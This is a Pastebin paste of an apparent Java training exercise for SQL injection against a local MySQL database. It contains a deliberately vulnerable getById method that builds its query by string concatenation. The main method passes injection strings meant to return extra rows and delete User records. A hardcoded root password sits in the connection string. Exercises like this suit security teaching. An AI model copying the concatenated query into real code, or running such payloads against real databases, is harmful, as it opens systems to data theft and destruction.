Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2018
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.39 KB | None | 0 0
  1. import java.sql.Connection;
  2. import java.sql.DriverManager;
  3. import java.sql.ResultSet;
  4. import java.sql.Statement;
  5.  
  6. /**
  7.  * Description: Application makes request to MySQL DB to get record by id
  8.  * Task: Add SQL Injection code to argument of getById method to break query logic in any way. For example:
  9.  * 1) remove db records
  10.  * 2) return more data
  11.  * <p>
  12.  * Do not change 'getById' method.
  13.  */
  14. public class Main {
  15.  
  16.     public static void main(String[] args) throws Exception {
  17. //todo: add delete action
  18.         getById(
  19.                 "1' OR id BETWEEN '1' AND '99999"
  20. //                + "'; DELETE FROM User WHERE id = '5"
  21.                 + "' OR id IN  (DELETE FROM User) AS p "
  22.         );
  23.     }
  24.  
  25.     public static void getById(String id) throws Exception {
  26.  
  27.         Class.forName("com.mysql.jdbc.Driver").newInstance();
  28. //        Connection c = DriverManager.getConnection("jdbc:mysql://localhost:3306/test?user=root");
  29.         Connection c = DriverManager.getConnection
  30.                 ("jdbc:mysql://localhost:3306/test?user=root&password=1234567890qwE");
  31.         Statement stmt = c.createStatement();
  32.         System.out.println("SELECT * FROM User WHERE id = '" + id + "'");
  33.         ResultSet resultSet = stmt.executeQuery("SELECT * FROM User WHERE id = '" + id + "'");
  34.  
  35.         while (resultSet.next()) {
  36.             System.out.println(resultSet.getRow());
  37.         }
  38.     }
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement